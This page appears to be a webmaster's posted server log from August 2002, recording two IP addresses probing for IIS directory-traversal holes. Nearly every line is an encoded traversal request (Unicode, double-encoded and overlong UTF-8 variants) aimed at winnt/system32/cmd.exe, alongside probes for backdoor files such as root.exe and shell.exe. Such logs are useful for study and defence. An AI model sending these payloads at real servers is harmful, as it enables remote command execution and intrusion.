[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%c0%2f../winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%c0%9v../..%c0%9v../..%c0%9v../winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%c0%9v../winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe
[08-13-2002-13:11:37] 216.249.138.243: /scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%C0%AF../..%C0%AF../..%C0%AF../winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%c0%af../winnt/system32/cmd.exe
[08-13-2002-13:11:42] 216.249.138.243: /scripts/..%c0%af../winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%c0%qf../..%c0%qf../..%c0%qf../winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%c0%qf../winnt/system32/cmd.exe
[08-13-2002-13:11:43] 216.249.138.243: /scripts/..%c0%qf../winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe
[08-13-2002-13:11:38] 216.249.138.243: /scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /scripts/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%c1%1c../winnt/system32/cmd.exe
[08-13-2002-13:11:44] 216.249.138.243: /scripts/..%c1%1c../winnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /scripts/..%c1%8s../..%c1%8s../..%c1%8s../winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%c1%8s../winnt/system32/cmd.exe
[08-13-2002-13:11:45] 216.249.138.243: /scripts/..%c1%8s../winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe
[08-13-2002-13:11:39] 216.249.138.243: /scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe
[08-13-2002-01:25:15] 217.83.132.66:   /scripts/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%c1%9c../winnt/system32/cmd.exe
[08-13-2002-13:11:46] 216.249.138.243: /scripts/..%c1%9c../winnt/system32/cmd.exe
[08-13-2002-01:25:15] 217.83.132.66:   /scripts/%c1%9c/winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts..%c1%9c../winnt/system32/cmd.exe
[08-13-2002-13:11:25] 216.249.138.243: /scripts..%c1%9c../winnt/system32/cmd.exe
[08-13-2002-01:25:15] 217.83.132.66:   /scripts/..%c1%af../..%c1%af../..%c1%af../winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%c1%af../winnt/system32/cmd.exe
[08-13-2002-13:11:48] 216.249.138.243: /scripts/..%c1%af../winnt/system32/cmd.exe
[08-13-2002-01:25:15] 217.83.132.66:   /scripts/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe
[08-13-2002-01:25:15] 217.83.132.66:   /scripts/..%c1%pc../winnt/system32/cmd.exe
[08-13-2002-13:11:50] 216.249.138.243: /scripts/..%c1%pc../winnt/system32/cmd.exe
[08-13-2002-01:25:14] 217.83.132.66:   /scripts/cmd1.exe 
[08-13-2002-01:25:24] 217.83.132.66:   /scripts/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%e0%80%af../winnt/system32/cmd.exe
[08-13-2002-13:11:51] 216.249.138.243: /scripts/..%e0%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:15] 217.83.132.66:   /scripts/..%f0%80%80%af../..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /scripts/..%f0%80%80%af../winnt/system32/cmd.exe
[08-13-2002-13:11:52] 216.249.138.243: /scripts/..%f0%80%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:15] 217.83.132.66:   /scripts/..%f8%80%80%80%af../..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:18] 217.83.132.66:   /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe
[08-13-2002-13:11:53] 216.249.138.243: /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /scripts/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:18] 217.83.132.66:   /scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe
[08-13-2002-13:11:55] 216.249.138.243: /scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /scripts/root.exe 
[08-13-2002-13:11:56] 216.249.138.243: /scripts/root.exe 
[08-13-2002-01:25:17] 217.83.132.66:   /scripts/shell.exe 

[08-13-2002-01:25:23] 217.83.132.66: /_vti_adm/..%252e..%252ewinnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66: /_vti_adm/.%252e/.%252e/winnt/system32/cmd.exe
[08-13-2002-01:25:48] 217.83.132.66: /_vti_adm/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:25:56] 217.83.132.66: /_vti_adm/..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66: /_vti_adm/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66: /_vti_adm/..%25%35%63..%25%35%63winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66: /_vti_adm/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66: /_vti_adm/..%%35c..%%35cwinnt/system32/cmd.exe
[08-13-2002-01:25:56] 217.83.132.66: /_vti_adm/..%C0%AF../..%C0%AF../..%C0%AF../winnt/system32/cmd.exe

[08-13-2002-01:25:50] 217.83.132.66: /_vti_aut/..%252e..%252ewinnt/system32/cmd.exe
[08-13-2002-01:25:56] 217.83.132.66: /_vti_aut/.%252e/.%252e/winnt/system32/cmd.exe
[08-13-2002-01:25:56] 217.83.132.66: /_vti_aut/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:25:56] 217.83.132.66: /_vti_aut/..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:25:56] 217.83.132.66: /_vti_aut/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:56] 217.83.132.66: /_vti_aut/..%25%35%63..%25%35%63winnt/system32/cmd.exe
[08-13-2002-01:25:48] 217.83.132.66: /_vti_aut/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:56] 217.83.132.66: /_vti_aut/..%%35c..%%35cwinnt/system32/cmd.exe
[08-13-2002-01:25:56] 217.83.132.66: /_vti_aut/..%C0%AF../..%C0%AF../..%C0%AF../winnt/system32/cmd.exe

[08-13-2002-01:25:24] 217.83.132.66:   /_vti_bin/..%252e..%252ewinnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /_vti_bin/.%252e/.%252e/winnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /_vti_bin/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /_vti_bin/..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe
[08-13-2002-13:10:41] 216.249.138.243: /_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /_vti_bin/..%25%35%63..%25%35%63winnt/system32/cmd.exe
[08-13-2002-01:25:17] 217.83.132.66:   /_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe
[08-13-2002-13:10:42] 216.249.138.243: /_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe
[08-13-2002-13:10:43] 216.249.138.243: /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe
[08-13-2002-13:10:39] 216.249.138.243: /_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /_vti_bin/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe
[08-13-2002-13:10:40] 216.249.138.243: /_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /_vti_bin/..%%35c..%%35cwinnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /_vti_bin/..%c0%9v../..%c0%9v../..%c0%9v../winnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe
[08-13-2002-13:10:44] 216.249.138.243: /_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe
[08-13-2002-13:10:45] 216.249.138.243: /_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /_vti_bin/..%c0%af../winnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /_vti_bin/..%c0%qf../..%c0%qf../..%c0%qf../winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /_vti_bin/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe
[08-13-2002-01:25:18] 217.83.132.66:   /_vti_bin/..%c1%8s../..%c1%8s../..%c1%8s../winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /_vti_bin/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe
[08-13-2002-01:25:35] 217.83.132.66:   /_vti_bin/..%c1%af../..%c1%af../..%c1%af../winnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /_vti_bin/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /_vti_bin/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /_vti_bin/..%f0%80%80%af../..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /_vti_bin/..%f8%80%80%80%af../..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /_vti_bin/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe

[08-13-2002-01:25:36] 217.83.132.66:   /_vti_cnf/..%252e..%252ewinnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /_vti_cnf/.%252e/.%252e/winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /_vti_cnf/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:25:36] 217.83.132.66:   /_vti_cnf/..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:25:36] 217.83.132.66:   /_vti_cnf/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:18] 217.83.132.66:   /_vti_cnf/..%25%35%63..%25%35%63winnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe
[08-13-2002-13:10:46] 216.249.138.243: /_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /_vti_cnf/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe
[08-13-2002-01:25:36] 217.83.132.66:   /_vti_cnf/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:36] 217.83.132.66:   /_vti_cnf/..%%35c..%%35cwinnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /_vti_cnf/..%c0%9v../..%c0%9v../..%c0%9v../winnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe
[08-13-2002-13:10:48] 216.249.138.243: /_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe
[08-13-2002-01:25:36] 217.83.132.66:   /_vti_cnf/..%C0%AF../..%C0%AF../..%C0%AF../winnt/system32/cmd.exe
[08-13-2002-01:25:36] 217.83.132.66:   /_vti_cnf/..%c0%qf../..%c0%qf../..%c0%qf../winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /_vti_cnf/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /_vti_cnf/..%c1%8s../..%c1%8s../..%c1%8s../winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /_vti_cnf/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe
[08-13-2002-01:25:24] 217.83.132.66:   /_vti_cnf/..%c1%af../..%c1%af../..%c1%af../winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /_vti_cnf/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /_vti_cnf/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /_vti_cnf/..%f0%80%80%af../..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /_vti_cnf/..%f8%80%80%80%af../..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /_vti_cnf/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe

[08-13-2002-01:25:51] 217.83.132.66:   /_vti_log/..%252e..%252ewinnt/system32/cmd.exe
[08-13-2002-01:25:56] 217.83.132.66:   /_vti_log/.%252e/.%252e/winnt/system32/cmd.exe
[08-13-2002-01:25:51] 217.83.132.66:   /_vti_log/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:25:51] 217.83.132.66:   /_vti_log/..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:25:50] 217.83.132.66:   /_vti_log/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:50] 217.83.132.66:   /_vti_log/..%25%35%63..%25%35%63winnt/system32/cmd.exe
[08-13-2002-01:25:50] 217.83.132.66:   /_vti_log/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:50] 217.83.132.66:   /_vti_log/..%%35c..%%35cwinnt/system32/cmd.exe

[08-13-2002-01:25:56] 217.83.132.66:   /wwwroot/..%252e..%252ewinnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66:   /wwwroot/.%252e/.%252e/winnt/system32/cmd.exe
[08-13-2002-01:25:56] 217.83.132.66:   /wwwroot/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:25:56] 217.83.132.66:   /wwwroot/..%252f..%252fwinnt/system32/cmd.exe
[08-13-2002-01:25:56] 217.83.132.66:   /wwwroot/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:56] 217.83.132.66:   /wwwroot/..%25%35%63..%25%35%63winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66:   /wwwroot/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe
[08-13-2002-01:25:57] 217.83.132.66:   /wwwroot/..%%35c..%%35cwinnt/system32/cmd.exe
[08-13-2002-01:25:23] 217.83.132.66:   /wwwroot/cmd1.exe 
[08-13-2002-01:25:23] 217.83.132.66:   /wwwroot/root.exe 


This page last preened by Webmaster jsage@finchhaven.com on:
Last modified: Wed Aug 14 00:44:00 2002